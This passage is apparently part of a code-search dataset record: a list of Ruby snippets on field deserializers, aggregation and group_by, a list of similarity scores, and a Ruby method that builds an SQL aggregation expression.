MicrosoftGraph::Models::SecurityHostReputationRule.create_from_discriminator_value(pn) }) },\n \"score\" => lambda {|n| @score = n.get_number_value() },\n })\n end", "def sum col_name,field2sum,*fields, &block\n key = key_fields [field2sum] + fields\n @stats[key] = [] unless @stats[key]\n @stats[key] << SumField.new(col_name,block)\n end", "def build_custom_calculated_field(column_name)\n return unless @custom_fields2.key?(column_name)\n\n @custom_fields2[column_name] => {arel:, type:}\n\n if arel.nil?\n raise CustomErrors::FilterArgumentError,\n \"Custom field #{column_name} is not supported for filtering or ordering\"\n end\n raise NotImplementedError, \"Custom field #{column_name} does not specify it's type\" if type.nil?\n\n { type:, arel: }\n end", "def get_field_deserializers()\n return super.merge({\n \"large\" => lambda {|n| @large = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n \"medium\" => lambda {|n| @medium = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n \"small\" => lambda {|n| @small = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n \"source\" => lambda {|n| @source = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n })\n end", "def date_range_agg(field:, range:, &block)\r\n agg = { agg: { date_range: { field: field, ranges: [ range ] }}}\r\n base_agg(agg, block)\r\n end", "def retrieve_aggregates\n fail ArgumentError, \"Invalid range type '#{range_type}'\" unless %w(year month week day hour).include? range_type\n scope = LineAggregate.\n where(:function => function).\n where(:range_type => 'normal').\n where(:account => account.try(:to_s)).\n where(:partner_account => partner_account.try(:to_s)).\n where(:code => code.try(:to_s)).\n where(:filter => filter.inspect).\n where(LineAggregate.arel_table[range_type].not_eq(nil))\n @aggregates = scope.each_with_object({}) do |result, hash|\n hash[result.key] = formatted_amount(result.amount)\n end\n end", "def expand_hash_conditions_for_aggregates(attrs) # :nodoc:\n conditions = super\n enums.each do |name, reflection|\n if conditions.key?(name)\n value = conditions.delete(name)\n elsif conditions.key?((string_name = name.to_s))\n value = conditions.delete(string_name)\n else\n next\n end\n if value.is_a?(Array)\n id = value.map { |el| reflection.id(el) }\n else\n id = reflection.id(value)\n end\n conditions[reflection.id_name] = id\n end\n conditions\n end", "def model(class_or_scope, options = nil)\n ActiveSupport.on_load(:active_record, yield: true) do\n class_or_scope = class_or_scope.constantize if class_or_scope.is_a?(String)\n options ||= {}\n conditions = options.delete(:conditions)\n\n @ar_scoped = conditions ? class_or_scope.where(conditions) : class_or_scope\n @ar_aggregate = AGGREGATES.find { |key| options.has_key?(key) }\n @ar_column = options.delete(@ar_aggregate)\n raise \"Cannot use multiple aggregates in a single metric\" if AGGREGATES.find { |key| options.has_key?(key) }\n\n @ar_timestamp = options.delete(:timestamp) || :created_at\n @ar_timestamp, @ar_timestamp_table = @ar_timestamp.to_s.split('.').reverse\n @ar_timestamp_table ||= @ar_scoped.table_name\n\n @ar_identity_block = options.delete(:identity)\n\n raise \"Unrecognized options: #{options.keys * ', '}\" unless options.empty?\n\n @ar_scoped.after_create(self)\n extend ActiveRecord\n end\n end", "def aggregates\n @aggregates\n end", "def group_by(field_or_proc, &block)\n proc = case field_or_proc\n when String, Symbol\n lambda { |obj| obj.public_send(field_or_proc) }\n when Proc\n field_or_proc\n else\n raise ArgumentError, 'group_by first argument must be a String, Symbol or Proc'\n end\n\n options[:group] = { block: block, proc: proc }\n self\n end", "def group_by(grouping_field)\n @grouping_field = grouping_field\n end", "def aggregate\n []\n end", "def get_field_deserializers()\n return {\n \"basis\" => lambda {|n| @basis = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"cost\" => lambda {|n| @cost = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"datePurchased\" => lambda {|n| @date_purchased = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"firstPeriod\" => lambda {|n| @first_period = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"period\" => lambda {|n| @period = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"rate\" => lambda {|n| @rate = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"salvage\" => lambda {|n| @salvage = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n }\n end", "def reflect_on_aggregation(aggregation)\n aggregate_reflections[aggregation.to_s]\n end", "def aggrPyFull(aggr)\n case aggr\n when DataMetaDom::Field::LIST\n 'List'\n when DataMetaDom::Field::SET\n 'Set'\n when DataMetaDom::Field::DEQUE\n 'Deque' # note this is different from Java\n else\n raise ArgumentError, \"Aggregate type #{aggr} not supported for Python serialization\"\n end\n end", "def method_missing(meth, *args, &block)\n # If the setter is missing but it's in the available_custom_field_names, delegate it to the source\n field_name = get_custom_field_name_for_method(meth)\n if self.available_custom_field_names.include?(field_name)\n # If it's a \"many\" or \"belong_to\" field, pass in the right objects\n if is_many_custom_field?(field_name)\n new_args = args.collect { |list| get_many_field_objects(field_name, list) }\n\n # Get the objects which we need to save\n self.objects_to_save ||= []\n self.objects_to_save += new_args.flatten\n\n # If it's a has_many field, set the positions\n if is_has_many_custom_field?(field_name)\n self.set_positions_for_has_many(new_args.flatten, field_name)\n end\n\n self.source.send(meth, *new_args, &block)\n elsif is_belongs_to_custom_field?(field_name)\n new_args = args.collect { |slug| get_belongs_field_object(meth, slug) }\n self.source.send(meth, *new_args, &block)\n else\n self.source.send(meth, *args, &block)\n end\n else\n super\n end\n end", "def group_by\n end", "def max(field)\n grouped(:max, field.to_s, Javascript.max)\n end", "def get_field_deserializers()\n return {\n \"activityIdentifier\" => lambda {|n| @activity_identifier = n.get_string_value() },\n \"countEntitled\" => lambda {|n| @count_entitled = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEntitledForProvisioning\" => lambda {|n| @count_entitled_for_provisioning = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowed\" => lambda {|n| @count_escrowed = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countEscrowedRaw\" => lambda {|n| @count_escrowed_raw = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExported\" => lambda {|n| @count_exported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countExports\" => lambda {|n| @count_exports = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImported\" => lambda {|n| @count_imported = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedDeltas\" => lambda {|n| @count_imported_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"countImportedReferenceDeltas\" => lambda {|n| @count_imported_reference_deltas = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n \"error\" => lambda {|n| @error = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SynchronizationError.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::SynchronizationTaskExecutionResult) },\n \"timeBegan\" => lambda {|n| @time_began = n.get_date_time_value() },\n \"timeEnded\" => lambda {|n| @time_ended = n.get_date_time_value() },\n }\n end", "def add_facet_field(*) super end", "def aggregated_over_time_query\n # TODO Remember to implement permitted parameters here\n query = @grouping_class.new(sanitized_attributes, params)\n @aggregated_over_time_data = Rails.cache.fetch(['aggregated_over_time_data', params], expires_in: 1.week) do\n query.aggregated_over_time_data\n end\n\n render json: @aggregated_over_time_data\n end" ]
[ "0.6436133", "0.60325927", "0.60008335", "0.58198863", "0.5806916", "0.57832736", "0.56387854", "0.54926014", "0.5471085", "0.542783", "0.5389747", "0.5389257", "0.5360926", "0.53440696", "0.53398246", "0.532997", "0.53228843", "0.52970964", "0.5285426", "0.5252935", "0.5251514", "0.52512246", "0.5227221", "0.5225336", "0.52097803", "0.5155439", "0.5150485", "0.51412", "0.51383626", "0.5116717", "0.5115106", "0.51003855", "0.5098971", "0.5097865", "0.5095921", "0.5066059", "0.50593257", "0.50432694", "0.50243384", "0.5022736", "0.5018703", "0.5017685", "0.50055003", "0.4969717", "0.4963267", "0.49523062", "0.49491227", "0.49475256", "0.49471444", "0.49359056", "0.49344343", "0.49322808", "0.4932242", "0.49318966", "0.4927103", "0.49267226", "0.49123517", "0.49082595", "0.49054852", "0.48952022", "0.48882532", "0.48880282", "0.4887759", "0.48868996", "0.48783603", "0.48736337", "0.48607302", "0.4846934", "0.48371693", "0.48303688", "0.4829675", "0.48248214", "0.48171115", "0.4806118", "0.48010355", "0.47882706", "0.47790807", "0.47750723", "0.4772556", "0.476568", "0.4763555", "0.47521377", "0.4741968", "0.47413188", "0.47289714", "0.47199446", "0.4708705", "0.47065082", "0.4705366", "0.47035238", "0.4702122", "0.47005555", "0.46983156", "0.46949562", "0.46924525", "0.46922", "0.46871492", "0.46832857", "0.46821186", "0.46806115" ]
0.59244156
3
Return aggregation function SQL
def sql selected_field_path = "#{@selection.target_alias}.#{@selection.selected_field}" operation = self.sql_operation.sub('?field', selected_field_path) "#{operation} AS #{@field_name}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def aggregate\n klass.collection.group(\n :key => field_list,\n :cond => selector,\n :initial => { :count => 0 },\n :reduce => Javascript.aggregate\n )\n end", "def build_aggregate_sql(column_mask)\n dimension_column_names = dimensions_to_columns.collect do |c|\n \"#{c.table_alias}.#{c.name}\"\n end\n\n sql = <<-SQL\n SELECT\n #{mask_columns_with_null(dimension_column_names, column_mask).join(\",\")},\n #{aggregated_fact_column_sql}\n FROM #{tables_and_joins}\n SQL\n\n group = mask_columns_with_null(dimension_column_names, column_mask).reject{|o| o == 'null'}.join(\",\")\n sql += \"GROUP BY #{group}\" if !group.empty?\n sql\n end", "def visit_axiom_aggregate_sum(sum)\n aggregate_function_sql(SUM, sum)\n end", "def statement\n case @metric.aggregate\n when :sum\n parts = {\n select: select_statement,\n joins: dimension_joins,\n having: having_statement,\n order: order_by_statement\n }\n\n statement = ([model] + parts.keys).inject do |chain, method|\n chain.public_send(method, parts[method])\n end\n\n statement = process_scope_dimension_filter(statement)\n statement = process_lambda_dimension_filter(statement)\n statement = process_ransack_dimension_filter(statement)\n\n # The original gem did not handle has_many relationships. In order to support\n # has_many, we need to first do an inner query to select out distinct rows _before_\n # attempting the sum. Therefore we build up the query piece\n # by piece rather than using the basic statement.\n\n sum_definition = parts[:select].first\n original_columns = parts[:select].drop(1)\n\n # Collect a list of all renamed columns from the original query so that we can include\n # these in the outer query.\n renamed_columns = []\n original_columns.each do |sel|\n renamed_columns << sel.split(' AS ').last\n end\n\n # In some situations the column we're summing over is not included as a part of the aggregation\n # in the inner query. In such cases we must explicitly select the desired column in the inner\n # query, so that we can sum over it in the outer query.\n summation_metric = if select_aggregate.include?(\"CASE\")\n select_aggregate.split('CASE WHEN ').last.split(' ').first\n else\n ''\n end\n\n outer_columns = ([sum_definition] << renamed_columns).flatten.uniq.join(', ')\n inner_columns = (original_columns << [summation_metric, fact_model.measure.to_s]).flatten.uniq.reject(&:blank?).join(', ').remove(\"\\n\").squeeze(' ')\n inner_from = statement.to_sql.split('FROM').last\n group_by = outer_group_by_statement.join(', ')\n\n # Finally, construct the query we want and return it as a string\n full_statement = \"SELECT #{outer_columns} FROM(SELECT #{distinct}, #{inner_columns} FROM #{inner_from}) AS T\"\n\n # Add the GROUP BY clause only if it's non nil and non empty\n full_statement = \"#{full_statement} GROUP BY #{group_by}\" if group_by.present?\n\n full_statement\n\n else\n parts = {\n select: select_statement,\n joins: dimension_joins,\n group: group_by_statement,\n having: having_statement,\n order: order_by_statement\n }\n\n statement = ([model] + parts.keys).inject do |chain, method|\n chain.public_send(method, parts[method])\n end\n\n statement = process_scope_dimension_filter(statement)\n statement = process_lambda_dimension_filter(statement)\n statement = process_ransack_dimension_filter(statement)\n\n statement.to_sql\n end\n end", "def aggregated_fact_column_sql\n aggregate_fields.collect { |c| \n \"#{c.strategy_name}(#{c.from_table_name}.#{c.name}) AS #{c.label_for_table}\"\n }.join(\",\")\n end", "def calc_query(query, table, aggregate = {}, as=nil)\n\tquery = \"select #{query}\"\n\n\tif !aggregate.empty?\n\t\taggregate.each do |operation, column|\n\t\t\tquery += \"#{operation}(#{column}) \"\n\t\t\tquery += as \" #{as}\"\n\t\tend\n\tend\n\n\tquery += \" from #{table}\"\n\n\treturn query\nend", "def aggregate op, type = :fixnum\n check_closed\n\n aggregation_impl op, type\n end", "def aggregate name, o, collector\n collector << \"#{name}(\"\n if o.distinct\n collector << \"DISTINCT \"\n end\n collector = inject_join(o.expressions, Arel::Collectors::Sunstone.new, \", \")# << \")\"\n if o.alias\n collector << \" AS \"\n visit o.alias, collector\n else\n collector\n end\n end", "def aggregated_over_time_query\n quantity_field = @country_ids.present? ? \"#{entity_quantity}_reported_quantity\" : \"#{@reported_by}_reported_quantity\"\n\n <<-SQL\n SELECT ROW_TO_JSON(row)\n FROM (\n SELECT JSON_AGG(JSON_BUILD_OBJECT('x', year, 'y', value) ORDER BY year) AS datapoints\n FROM (\n SELECT year, ROUND(SUM(#{quantity_field}::FLOAT)) AS value\n FROM #{shipments_table}\n #{child_taxa_join}\n WHERE #{@condition} AND #{quantity_field} IS NOT NULL AND #{country_condition}\n AND #{child_taxa_condition}\n GROUP BY year\n #{quantity_condition(quantity_field)}\n ORDER BY value DESC\n #{limit}\n ) t\n ) row\n SQL\n end", "def aggregates\n @aggregates\n end", "def aggregate_function\n build_function(super, aggregate_constants)\n end", "def aggregate_f(*args)\n aggregate_function.f(*args)\n end", "def aggregate\n #response = Result.collection.map_reduce(self.map_fn(), _reduce(), :raw => true, :out => {:inline => true}, :query => {:execution_id => id})\n response = Result.where(execution_id: id).map_reduce(self.map_fn(), self.query.reduce).out(inline: true).raw()\n results = response['results']\n if results\n self.aggregate_result = {}\n results.each do |result|\n result = prettify_generated_result(result) if self.query.generated? && result['value']['rereduced']\n self.aggregate_result[result['_id']] = result['value']\n end\n save!\n end\n end", "def aggregate(term = \"COUNT(*)\", options = {})\n # Leave this .dup here, causes problems because options are changed\n options = options.dup\n\n klass = options[:class]\n\n # Rename search term, SQL92 but _not_ SQL89 compatible\n options = {\n :select => \"#{term} AS #{term[/^\\w+/]}\"\n }.update(options)\n\n unless options[:group] || options[:group_by]\n options.delete(:order)\n options.delete(:order_by)\n end\n sql = resolve_options(klass, options)\n\n if field = options[:field]\n return_type = klass.ann(field, :class) || Integer\n else\n return_type = Integer\n end\n\n if options[:group] || options[:group_by]\n # This is an aggregation, so return the calculated values\n # as an array.\n values = []\n res = query(sql)\n res.each_row do |row, idx|\n values << type_cast(return_type, row[0])\n end\n return values\n else\n return type_cast(return_type, query(sql).first_value)\n end\n end", "def new_aggregate(type,name, value)\n Models::Aggregate.new(\n :type => type,\n :parent_name => assessment_group.display_name,\n :parent_type => 'AssessmentGroup',\n :name => name,\n :value => value\n )\n end", "def aggregate\n []\n end", "def aggregate(nodes, relation, aggregate_function, restriction = [])\n if nodes.empty?\n return []\n end\n if relation.nil?\n raise MissingRelationException\n end\n items = nodes.map{|node| node.item}\n values_stmt = \"VALUES ?s {#{items.map{|item| \"<\" + Xplain::Namespace.expand_uri(item.id) + \">\"}.join(\" \")}}\"\n query_stmt = \"SELECT ?s (#{aggregate_function}(?o) as ?o) where{#{values_stmt} #{path_clause(relation)} #{values_clause(\"?o\", restriction)} #{path_clause_as_subselect(relation, values_stmt, \"?s\", limit, offset)}. }\"\n query_stmt << \" GROUP BY ?s\"\n get_results(query_stmt, relation)\n end", "def aggregate_tags!\n map = \"function() {\n if (!this.#{tags_field}) {\n return;\n }\n\n for (index in this.#{tags_field}) {\n emit(this.#{tags_field}[index], 1);\n }\n }\"\n\n reduce = \"function(previous, current) {\n var count = 0;\n\n for (index in current) {\n count += current[index]\n }\n\n return count;\n }\"\n\n map_reduce_options = { :out => tags_aggregation_collection }.\n merge(tag_aggregation_options)\n collection.master.map_reduce(map, reduce, map_reduce_options)\n end", "def aggregation(*args, &block)\n @aggregations ||= AggregationsCollection.new\n @aggregations.update args.first => Aggregation.new(*args, &block)\n self\n end", "def to_group_sql\n case\n when is_many?, is_string?, ThinkingSphinx.use_group_by_shortcut?\n nil\n else\n @columns.collect { |column|\n column_with_prefix(column)\n }\n end\n end", "def odb_sum\n \"sum(#{to_s})\"\n end", "def aggregation(operation)\n return self unless operation\n clone.tap do |query|\n unless aggregating?\n query.pipeline.concat(query.selector.to_pipeline)\n query.pipeline.concat(query.options.to_pipeline)\n query.aggregating = true\n end\n yield(query.pipeline)\n end\n end", "def visit_axiom_aggregate_mean(mean)\n unary_prefix_operation_sql(MEAN, mean)\n end", "def calculate_function(function)\n raise \"invalid function '#{function}'\" unless [:sum, :avg, :min, :max, :count].include?(function.to_sym)\n Sequel::SQL::Function.new(function.to_sym, :value)\n end", "def groupby_standardcost\n { 'std_cost' => { '$sum' => '$standard_cost' } } \n end", "def aggregate(value)\n @query_hash[AGGREGATE][value] = value\n self\n end", "def score_sql\n 'SUM(score) AS score'\n end", "def aggregate\n public_send aggregate_name\n end", "def aggregations\n @aggregations ||= AggregationSet.new\n end", "def aggregates\n Rails.cache.fetch(\"aggregates_#{interval}_#{cache_time}\", expires_in: self.cache_time) {\n ActiveRecord::Base.connection.exec_query(\"\n select\n stddev(sum_downvotes) as stddev,\n sum(sum_downvotes) as sum,\n avg(sum_downvotes) as avg,\n avg(n_comments) as n_comments,\n count(*) as n_commenters\n from (\n select\n sum(downvotes) as sum_downvotes,\n count(*) as n_comments\n from comments join users on comments.user_id = users.id\n where\n (comments.created_at >= '#{period}') and\n users.banned_at is null and\n users.deleted_at is null\n GROUP BY comments.user_id\n ) sums;\n \").first.symbolize_keys!\n }\n end", "def aggregate_table_name(options={})\n \"#{options[:prefix]}#{cube_class.name.tableize.singularize}_agg\"\n end", "def aggregates\n self.class.instance_variable_get(:@aggregates) || {}\n end", "def visit_axiom_aggregate_variance(variance)\n unary_prefix_operation_sql(VARIANCE, variance)\n end", "def aggregate(property, resolution)\n # Look up the date/time dimensions for the resolution.\n date_time_dimensions = date_time_dimensions_for_resolution(resolution)\n\n # Build the timestamp from the date/time dimensions.\n timestamp = Sequel::SQL::NumericExpression.new(:+, *date_time_dimensions).cast(:timestamp).as(:timestamp)\n\n # Build a window function to sum the counts.\n count_window_function = Sequel::SQL::Function.new(:sum, :count).over(partition: date_time_dimensions).as(:count)\n\n # Build the aggregation window functions.\n aggregation_window_functions = AGGREGATIONS.map do |aggregation|\n Sequel::SQL::Function.new(aggregation, :\"#{property}\").over(partition: date_time_dimensions).as(:\"#{aggregation}_#{property}\")\n end\n\n facts_dataset\n .join(:dimension_dates, date: Sequel.cast(:timestamp, :date))\n .join(:dimension_times, time: Sequel.cast(:timestamp, :time))\n .distinct(*date_time_dimensions)\n .select(timestamp, count_window_function, *aggregation_window_functions)\n end", "def odb_avg\n \"avg(#{to_s})\"\n end", "def sum(field)\n grouped(:sum, field.to_s, Javascript.sum)\n end", "def average_student_gpa\n \"SELECT AVG(gpa) from students;\"\nend", "def visit_axiom_aggregate_count(count)\n unary_prefix_operation_sql(COUNT, count)\n end", "def groupby_bookingnet\n { 'booking_net' => { '$sum' => '$booking_net' } } \n end", "def count\n ensure_aggregate!\n SQLite::API.aggregate_count( @func )\n end", "def to_sparql(**options)\n distinct = operands.first == :distinct\n args = distinct ? operands[1..-1] : operands\n \"SUM(#{'DISTINCT ' if distinct}#{args.to_sparql(**options)})\"\n end", "def agg_count\n @agg_count ||= count_unique_related @role_aggregate.agg_fieldname\n end", "def create_aggregate( name, arity, step, finalize, type=nil )\n case type\n when :numeric\n type = SQLite::API::NUMERIC\n when :text\n type = SQLite::API::TEXT\n when :args\n type = SQLite::API::ARGS\n end\n\n step_callback = proc do |func,*args|\n ctx = SQLite::API.aggregate_context( func )\n step.call( FunctionProxy.new( func, ctx ), *args )\n end\n\n finalize_callback = proc do |func|\n ctx = SQLite::API.aggregate_context( func )\n finalize.call( FunctionProxy.new( func, ctx ) )\n end\n\n SQLite::API.create_aggregate( @handle, name, arity,\n step_callback, finalize_callback )\n\n SQLite::API.function_type( @handle, name, type ) if type\n\n self\n end", "def summarize_per_table_dum\n @having = NO_ROWS\n end", "def summarize_per_subset\n @having = ANY_ROWS\n end", "def aggregate(request)\n end", "def aggregate_sum(aggr)\n sum = {}\n aggr.each do |ts, counterVals|\n sum[ts] = {} unless sum.has_key?ts\n counterVals.each do |obj, count|\n if obj.respond_to?(:enterprise_id)\n eid = obj.public_send(:enterprise_id).to_s\n sum[ts][eid] = sum[ts].fetch(eid, 0) + count\n end\n end\n end\n sum\n end", "def apply_functions(fun, series)\n expr = CGI::unescape(fun)\n\n # pass values needed for hitting Cassandra in\n control = { :cass_client => cass_client }\n control[:start_ts], control[:end_ts] = get_start_end :one_day\n\n Hastur::Aggregation.evaluate(expr, series, control)\n end", "def aggrPyFull(aggr)\n case aggr\n when DataMetaDom::Field::LIST\n 'List'\n when DataMetaDom::Field::SET\n 'Set'\n when DataMetaDom::Field::DEQUE\n 'Deque' # note this is different from Java\n else\n raise ArgumentError, \"Aggregate type #{aggr} not supported for Python serialization\"\n end\n end", "def group_by_exp(input, variable, expression); end", "def aggregate(query)\n #query.model.last_query = query\n #y query\n _layout = layout(query.model)\n opts = query.fmp_options\n #opts[:template] = self.class.fmresultset_template_path\n prms = query.to_fmp_query\n #[prms.empty? ? _layout.all(:max_records=>0).foundset_count : _layout.count(prms)]\n [prms.empty? ? _layout.view.total_count : _layout.count(prms)]\n end", "def aggregated_over_time_query\n # TODO Remember to implement permitted parameters here\n query = @grouping_class.new(sanitized_attributes, params)\n @aggregated_over_time_data = Rails.cache.fetch(['aggregated_over_time_data', params], expires_in: 1.week) do\n query.aggregated_over_time_data\n end\n\n render json: @aggregated_over_time_data\n end", "def apply(aggregate)\n raise NotImplementedError\n end", "def get_db_aggregation\n db_data_all = []\n aggregation = @thermostat.readings.pluck('Avg(temperature)', 'Min(temperature)', 'Max(temperature)', 'Avg(humidity)', 'Min(humidity)', 'Max(humidity)', 'Avg(battery_charge)', 'Min(battery_charge)', 'Max(battery_charge)').first\n unless aggregation.empty?\n db_data_all << {\"temperature\" => {\"avg\" => aggregation[0].round(2), \"min\" => aggregation[1], \"max\" => aggregation[2]}}\n db_data_all << {\"humidity\" => {\"avg\" => aggregation[3].round(2), \"min\" => aggregation[4], \"max\" => aggregation[5]}}\n db_data_all << {\"battery_charge\" => {\"avg\" => aggregation[6].round(2), \"min\" => aggregation[7], \"max\" => aggregation[8]}}\n end\n return db_data_all\n end", "def add_aggregations\n add_collection_aggregation\n add_tag_aggregations\n end", "def apply(_aggregate)\n raise NotImplementedError\n end", "def each_aggregate(&block)\n if block_given?\n @aggregates.each_function(&block)\n self\n else\n @aggregates.functions\n end\n end", "def aggregate_values(rows)\n # Convert rows into hash where each key is a column name and the each\n # value is an array of values for that column\n cols = OrderedHash.new\n rows.each do |row|\n row.each do |k,v|\n cols[k] ||= []\n cols[k] << v\n end\n end\n\n # Loop through each column, applying an aggregate proc if one exists\n # to the array of column values. If a proc does not exist we take the\n # last value from the array.\n result = cols.inject(OrderedHash.new) do |hsh, (col, vals)|\n hsh[col] = if @aggregators[col]\n @aggregators[col].call(vals)\n else\n vals.last\n end\n hsh\n end\n\n Row[result]\n end", "def column_sum(input_query, key)\n input_query.sum(key)\n end", "def get_form_summarize_methods\n [\n [\"count\"],\n [\"sum\"],\n [\"maximum\"],\n [\"minimum\"]\n ]\n end", "def aggregate_after_grouping?; @aggregate_after_grouping; end", "def aggregate(source, options={})\n return send_message(SkyDB::Message::Lua::Aggregate.new(source, options))\n end", "def popular_group_by_year\n sql = <<-SQL\n SELECT year, guest_group, MAX(num)\n FROM (\n SELECT year, guest_group, COUNT(*) AS num\n FROM guests\n GROUP BY year, guest_group\n )\n GROUP BY year;\n SQL\n DB[:conn].execute(sql)\nend", "def sql_for_average_over_days(table, id,n_days)\n if table == \"aqe\"\n \"SELECT parameter, AVG(value) AS avg_value, AVG(computed_aqi) AS avg_aqi FROM \\\"#{META[\"#{table}\"][\"data_resource_id\"]}\\\" WHERE feed_id=#{id} AND datetime >= current_date - #{n_days} AND parameter != 'CO' GROUP BY parameter\"\n else #aqs\n \"SELECT parameter, AVG(value) AS avg_value, AVG(computed_aqi) AS avg_aqi FROM \\\"#{META[\"#{table}\"][\"data_resource_id\"]}\\\" WHERE aqs_id='#{id}' AND date >= current_date - #{n_days} GROUP BY parameter\"\n end\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n<<-SQL\n SELECT DISTINCT title ,SUM(amount) FROM projects INNER JOIN pledges ON projects.id = pledges.project_id\n GROUP BY projects.title\n SQL\nend", "def generate_minmax_query\n \"SELECT MIN(#{big_query_id_column}) AS MIN, MAX(#{big_query_id_column}) AS MAX FROM #{CellMetadatum::BIGQUERY_TABLE}\"\n end", "def visit_axiom_aggregate_standard_deviation(standard_deviation)\n unary_prefix_operation_sql(STANDARD_DEVIATION, standard_deviation)\n end", "def to_s(ds)\n ds.irregular_function_sql(self)\n end", "def get_reduce() \n reduce_js = <<-'END_OF_REDUCE' \n\nfunction(key, values) {\n \n\t\tvar total = {};\n var rtn = {};\n\n values.forEach(function(e) {\n for (command in e) {\n if (total[command] == undefined) {\n total[command] = e[command]\n } else {\n total[command] += e[command]\n }\n }\n })\n rtn[\"sum\"] = total\n return (total);\n}; \n END_OF_REDUCE\n \n return reduce_js\nend", "def aggregation?\n false\n end", "def summarize(data, summarization_method, variable=nil)\n case summarization_method\n when 'sum'\n data = data.sum(variable)\n when 'max'\n data = data.maximum(variable)\n when 'count'\n data = data.count(variable)\n end\n end", "def group_by_columns\n @group = \" GROUP BY #{column_list_for(@columns)}\" if @columns.any?\n end", "def retrieve_aggregates\n fail ArgumentError, \"Invalid range type '#{range_type}'\" unless %w(year month week day hour).include? range_type\n scope = LineAggregate.\n where(:function => function).\n where(:range_type => 'normal').\n where(:account => account.try(:to_s)).\n where(:partner_account => partner_account.try(:to_s)).\n where(:code => code.try(:to_s)).\n where(:filter => filter.inspect).\n where(LineAggregate.arel_table[range_type].not_eq(nil))\n @aggregates = scope.each_with_object({}) do |result, hash|\n hash[result.key] = formatted_amount(result.amount)\n end\n end", "def generate_minmax_query\n \"SELECT MIN(#{self.big_query_id_column}) AS MIN, MAX(#{self.big_query_id_column}) AS MAX FROM #{CellMetadatum::BIGQUERY_TABLE}\"\n end", "def record_sum(session, record_type, database)\n session.send(database).select_one( \\\n \"select sum(number1) + sum(number2) + sum(number3) + sum(number4) as sum\n from big_scan where diff_type = '#{record_type}'\")['sum'].to_f\n end", "def visit_axiom_aggregate_maximum(maximum)\n # TODO: wrap this in a coalesce operation once the default can be made sane\n unary_prefix_operation_sql(MAXIMUM, maximum)\n end", "def to_s(ds)\n ds.function_sql(self)\n end", "def expression(expression)\n if expression.function_sql == \"DISTINCT\"\n \"#{expression.function_sql} #{expression.attribute.to_sql(self)}\" +\n (expression.alias ? \" AS #{quote_column_name(expression.alias)}\" : '')\n else\n \"#{expression.function_sql}(#{expression.attribute.to_sql(self)})\" +\n (expression.alias ? \" AS #{quote_column_name(expression.alias)}\" : \"\")\n end\n end", "def to_active_record_for_count\n params = to_active_record.clone\n params.delete(:order)\n params.delete(:select)\n # remove any HAVING clauses\n params[:group] = params[:group].collect{|clause| clause.gsub(/HAVING.*$/,'')} if params[:group]\n params\n end", "def keyValuePairByAggQryTechPenetration(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; returnObj = {}\n uniqueArray = []; techCount = 0; booking = 0\n aggregateCursor.each do |doc|\n techCount += 1\n uniqueArray << doc[:_id][:customers]\n end\n uniqueArray = uniqueArray.uniq\n keyArray << 'techPenetration'; valueArray << ScalarCalculators.calculateRatio(techCount, uniqueArray.size).to_f\n\n returnObj = {\n :key => keyArray,\n :value => valueArray\n }\n return returnObj\n end", "def total_tardies_for_all_students\n \"SELECT SUM(tardies) from students\"\nend", "def pipeline(field)\n db_field = \"$#{database_field_name(field)}\"\n sort, skip, limit = criteria.options.values_at(:sort, :skip, :limit)\n\n pipeline = []\n pipeline << { \"$match\" => criteria.exists(field => true).selector }\n pipeline << { \"$sort\" => sort } if sort && (skip || limit)\n pipeline << { \"$skip\" => skip } if skip\n pipeline << { \"$limit\" => limit } if limit\n pipeline << {\n \"$group\" => {\n \"_id\" => field.to_s,\n \"count\" => { \"$sum\" => 1 },\n \"max\" => { \"$max\" => db_field },\n \"min\" => { \"$min\" => db_field },\n \"sum\" => { \"$sum\" => db_field },\n \"avg\" => { \"$avg\" => db_field }\n }\n }\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n\"select title, sum(amount)\nfrom projects \ninner join pledges \non projects.id = pledges.project_id\ngroup by title\" \nend", "def aggregate_fields\n cube_class.aggregate_fields\n end", "def create_aggregates(db: EventSourcery::Postgres.config.event_store_database,\n table_name: EventSourcery::Postgres.config.aggregates_table_name)\n db.create_table(table_name) do\n uuid :aggregate_id, primary_key: true\n column :version, :bigint, default: 1\n end\n end", "def group_by\n\n end", "def existing_clients_new_revenue \n 